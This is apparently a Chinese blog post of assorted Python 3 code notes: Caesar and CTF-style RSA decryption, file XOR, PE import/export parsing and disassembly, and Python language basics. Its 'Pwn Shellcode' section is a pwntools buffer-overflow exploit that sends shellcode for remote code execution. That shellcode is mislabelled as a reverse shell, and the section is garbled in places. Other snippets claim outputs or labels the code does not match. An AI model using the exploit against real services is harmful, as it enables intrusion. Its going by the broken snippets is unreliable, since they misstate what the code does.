【技术分享】Python3 代码笔记

Python3

自由落体

import time

def BallFalling():
    width,height = 800,600   # 窗口宽度
    g, vy = 0.3, 0           # 小球重力加速
    x = width // 2           # 小球x坐标除2位于窗口中
    y = height // 2          # 小球y坐标除2位于窗口中间
    radius = 20              # 小球半径
    while True:
        vy = vy + g          # 重力加速
        y = y + vy           # 根据速度更新y坐标
        if y <= radius:
            vy = -vy
        if y >= height - radius:
            vy = -vy
        print(y)
        time.sleep(0.01)
BallFalling()

凯撒加解密

def caesar_encrypt(text, shift): # 加密
    res = ''
    for i in text:
        res += chr((ord(i) + shift - 97) % 26 + 97)
    return res

def caesar_decrypt(text, shift): # 解密
    res = ''
    for i in text:
        res += chr((ord(i) - shift - 97) % 26 + 97)
    return res

text = "hello" # 明文
shift = 500 # 偏移
encrypted_text = caesar_encrypt(text, shift)
print(encrypted_text)

decrypted_text = caesar_decrypt(encrypted_text, shift)
print(decrypted_text)

日期差计算

from datetime import datetime, timedelta

start_date = datetime(2021, 10, 3)
end_date = datetime(2023, 2, 6)
difference = end_date - start_date

years = difference.days // 365
months = (difference.days % 365) // 30
days = (difference.days % 365) % 30

print("{} years, {} months, and {} days".format(years, months, days))

RSA私钥生成算法

import gmpy2

e = 17
p = 473398607161
q = 4511491
d = gmpy2.invert(e,(p-1)*(q-1))
print(d)

RSA解密算法1

import gmpy2

p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

n = p * q
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
m = gmpy2.powmod(c, d, n)
print(m)

RSA解密算法2

import gmpy2
from Crypto.Util.number import long_to_bytes

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

I = gmpy2.invert(q,p)
m1 = gmpy2.powmod(c,dp,p)
m2 = gmpy2.powmod(c,dq,q)
m = (((m1-m2)*I)%p)*q+m2
print(long_to_bytes(m))

文件异或

f = open("misc.png",'rb')
with open('flag.png','wb') as nfile:
    for b in f.read(): # 遍历二进制
        # 这里的b是int形式，要转换成bytes时，使用bytes(),且里面的内容需要加[]
        nfile.write(bytes([b^0x50]))
    f.close()

.rdata区段搜索

import pefile

PEpath = r'xxx.exe'
PEdata = pefile.PE(PEpath)

rdata = None
for section in PEdata.sections:
    if section.Name.decode().strip('\x00') == '.rdata':
        rdata = section
        break

if rdata is None:
    print('.rdata区段未找到')
else:
    # 计算数据在文件中的偏移量和长度
    data_offset = rdata.PointerToRawData
    data_size = rdata.SizeOfRawData
    # 将数据读入内存
    pe_file = open(PEpath, 'rb')
    pe_file.seek(data_offset)
    data = pe_file.read(data_size)
    pe_file.close()

    # 找到特定的字符串
    needle = b'173'
    index = data.find(needle)
    if index != -1:
        # 如果找到了该字符串，输出该字符串及其后面的一些内容
        print('Found at offset', data_offset + index)
        print(data[index:index+20].decode('utf-8'))

获取IAT表

import pefile

PEpath = r'xxx.exe'
# 打开PE文件
pe = pefile.PE(PEpath)
# 获取IAT表
iat = pe.DIRECTORY_ENTRY_IMPORT
# 遍历每个导入表
for entry in iat:
    # 打印DLL名称和导入函数名称和地址
    for imp in entry.imports:
        if imp.name:
            print(entry.dll.decode(), imp.name.decode(), hex(imp.address))
        else:
            print(entry.dll.decode(), hex(imp.address))

获取导出表

import pefile

def list_imports(pe):
    """列出导入表中的模块和函数名称。"""
    if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
        print("导入表:")
        for entry in pe.DIRECTORY_ENTRY_IMPORT:
            print(f"模块: {entry.dll.decode('utf-8')}")
            for imp in entry.imports:
                if imp.name:
                    print(f"  函数: {imp.name.decode('utf-8')}")
                else:
                    print(f"  函数: <序号 {imp.ordinal}>")
    else:
        print("没有找到导入表。")

def list_exports(pe):
    """列出导出表中的函数名称。"""
    if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
        print("\n导出表:")
        for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
            if exp.name:
                print(f"函数: {exp.name.decode('utf-8')}")
            else:
                print(f"函数: <序号 {exp.ordinal}>")
    else:
        print("没有找到导出表。")

def main(file_path):
    try:
        pe = pefile.PE(file_path)
        list_imports(pe)
        list_exports(pe)
    except FileNotFoundError:
        print(f"文件未找到: {file_path}")
    except pefile.PEFormatError:
        print(f"文件格式错误: {file_path}")

if __name__ == "__main__":
    file_path = "xxx.dll"
    main(file_path)

获取程序反汇编

import pefile
import capstone

# 读取PE文件
PEpath = r'xxx.exe'
pe = pefile.PE(PEpath)

# 遍历节表，查找.text节
for section in pe.sections:
    if ".text" in str(section.Name):
        # 获取节的内容
        data = section.get_data()
        # 初始化Capstone引擎
        md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32)
        # 反汇编节的内容并输出到控制台
        for i in md.disasm(data, 0):
            print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

判断程序位数

import pefile

pe = pefile.PE('xxx.exe')

if pe.FILE_HEADER.Machine == 0x014c:
    print('程序为32位')
elif pe.FILE_HEADER.Machine == 0x8664:
    print('程序为64位')
else:
    print('程序不是32位也不是64位')

Pwn Shellcode

from pwn import *

context(arch='i386', os='linux')

# 远程主机地址和端口
host = 'example.com'
port = 1234

# 恶意代码，这里使用了一个简单的反弹shellcode
shellcode = asm('''
    push esp
    pop eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    mov bl, 0x6
    mov ecx, eax
    mov dl, 0x4
    int 0x80
    xor ebx, ebx
    mov bl, 0x1
    int 0x80
''')

# 构造缓冲区溢出的payload
# 这里的偏移量需要根据实际情况进行计算
offset = 0x20
payload = b'A' * offset + p32(0xdeadbeef)

# 连接远程主机并发送payload
io = remote(host, port)
io.send(payload)

# 等待程序崩溃并输出栈地址
io.recvuntil('Unhandled exception at address ')
stack_addr = int(io.recv(10), 16)

# 计算栈的偏移量并构造新的payload
# 这里的偏移量需要根据实际情况进行计算
stack_offset = 0x100
payload = b'A' * offset + p32(stack_addr + stack_offset) + shellcode

# 发送新的payload，触发远程代码执行
io.send(payload)

# 进入交互模式，可以手动执行其他命令
io.interactive()

装饰器

import time

def contdown(func): # 定义装饰器函数 contdown
    def wrapper(*args, **kwargs):
        start_time = time.perf_counter()
        result = func(*args, **kwargs) 
        end_time = time.perf_counter()
        return f"{end_time - start_time}"  # 将执行时间返回为字符串。
    return wrapper

@contdown # 用装饰器语法 @contdown
def go():
    time.sleep(1)

print(go()) # 调用被装饰函数go

类继承

class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        pass

class Dog(Animal):
    def speak(self):
        return "Woof"


class Cat(Animal):
    def speak(self):
        return "Meow"


dog = Dog("Fido")
cat = Cat("Fluffy")

print(dog.name + " says " + dog.speak())
print(cat.name + " says " + cat.speak())

# 输出：
# Fido says Woof
# Fluffy says Meow 

静态方法

class Person:
    def __init__(self, name, age) -> None:
        self.name = name
        self.age = age

    def greet(self):
        print(
            f"Hello, my name is {self.name}, my age is {self.age} years old.")

    @classmethod
    def create(cls, name, age):
        return cls(name, age)


person1 = Person("anda", 60)
person1.greet()

person2 = Person.create("alice", 50)
person2.greet()

# 输出：
# Hello, my name is anda, my age is 60 years old.
# Hello, my name is alice, my age is 50 years old.

代码技巧

def func(x: int, y: int):
    print(f'x:, y:{y}')

pose = [1,2]
func(*pose) # 元组传参
# 输出：
# x:1, y:2

from itertools import permutations

l = ['a', 'b', 'c']
p = permutations(l, r=2) # 输出列表所有可能的排列
print(list(p))
# 输出：
# [('a', 'b'), ('a', 'c'), ('b', 'a'), ('b', 'c'), ('c', 'a'), ('c', 'b')]

def func(name:str, age: int): # 定义初始变量类型
    return f'{name} age is {age} years old.'

age : int = 20
name: str = "lance" # 代码变量类型更清楚，去除Python解释器判断变量类型。
print(func(name, age))
# 输出：
# lance age is 20 years old.